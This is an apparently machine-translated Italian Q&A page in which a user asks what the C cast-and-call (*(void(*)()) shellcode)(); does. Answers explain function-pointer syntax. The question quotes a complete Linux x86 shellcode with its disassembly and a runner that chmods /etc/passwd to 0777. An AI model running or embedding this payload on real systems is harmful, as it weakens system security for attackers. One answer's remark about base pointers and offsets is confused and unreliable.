2015-07-15 15 views
6

Scusa se questo sembra banale, ma qualcuno può spiegarmi che cos'è?cosa (* (void (*)()) shellcode)(); si intende?

(*(void(*)()) shellcode)(); 

Penso che la seconda * è l'impostazione void ad essere un puntatore, ma e la prima *? un casting? e lo () è per chiamare qualche funzione?

il codice sorgente è qui:

/* 
# Title: Linux/x86 chmod('/etc/passwd',0777) - shellcode 42 bytes 
# Platform: linux/x86_64 
# Author: Mohammad Reza Espargham 
# Linkedin : https://ir.linkedin.com/in/rezasp 
# E-Mail  : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com 
# Website  : www.reza.es 
# Twitter  : https://twitter.com/rezesp 
# FaceBook : https://www.facebook.com/mohammadreza.espargham 


Disassembly of section .text: 


00000000 <.text>: 
0: 6a 0f     push $0xf 
2: 58      pop %eax 
3: 68 90 90 ff 01   push $0x1ff9090 
8: 59      pop %ecx 
9: c1 e9 10     shr $0x10,%ecx 
c: 68 90 73 77 64   push $0x64777390 
11: 5b      pop %ebx 
12: c1 eb 08     shr $0x8,%ebx 
15: 53      push %ebx 
16: 68 2f 70 61 73   push $0x7361702f 
1b: 68 2f 65 74 63   push $0x6374652f 
20: 89 e3     mov %esp,%ebx 
22: cd 80     int $0x80 
24: b0 01     mov $0x1,%al 
26: b3 01     mov $0x1,%bl 
28: cd 80     int $0x80 
*/ 

#include <stdio.h> 
#include <string.h> 

int main(){ 
    unsigned char shellcode[] = "\x6a\x0f\x58\x68\x90\x90\xff\x01\x59\xc1\xe9\x10\x68\x90\x73\x77\x64\x5b\xc1\xeb\x08\x53\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe3\xcd\x80\xb0\x01\xb3\x01\xcd\x80"; 
    fprintf(stdout, "Length: %d\n\n", strlen(shellcode)); 
    (*(void(*)()) shellcode)(); 
} 

risposta

11

E 'colata shellcode ad un puntatore a funzione di tornare nulla e l'assunzione di un numero imprecisato di parametri. E poi chiamarlo.

Il void (*)() è il tipo di una funzione che non restituisce nulla e accetta un numero non specificato di parametri.

/* | --------------------| Cast to a function pointer 
    |      |       */ 
(* ((void(*)()) shellcode))() /* 
^       ^call the function through the pointer 
|-- dereference the pointer */ 
+0

Non un numero non specificato di argomenti, nessun argomento. – Steve

+3

@Steve: in C, è un numero non specificato di argomenti. Per nessun argomento, sarebbe '(* (void (*) (void)) shellcode)();' –

+1

@Steve Sono sicuro che si tratta di un numero non specificato di argomenti. Se lo vuoi con ** NO ** argomenti allora la firma dovrebbe essere 'void (*) (void)'. –

1

shellcode è una firma di un puntatore di funzione. È usato per trovare un puntatore di base e aggiungere alcuni offset per trovare il puntatore alla funzione.

Si consideri il seguente codice, la sua lo stesso:

#include <iostream> 

void anotherFunction() 
{ 
    std::cout << "Im being called" << std::endl; 
} 

int main() 
{ 
    typedef void (*funcPtr)(void); 
    funcPtr f=&anotherFunction; 

    f(); 

    std::cin.get(); 
    return 0; 
} 

Questa è la stessa cosa pure

(*(void(*)(void))&anotherFunction)(); 

fatta eccezione per l'OFC firma.

+0

IDK cosa stai cercando di dire su puntatori base e offset? –

+0

Non sono sicuro di seguire l'amico. Vuoi dire che dovrei saltare tutta la parte a riguardo o stai chiedendo di cosa si tratta? –

Problemi correlati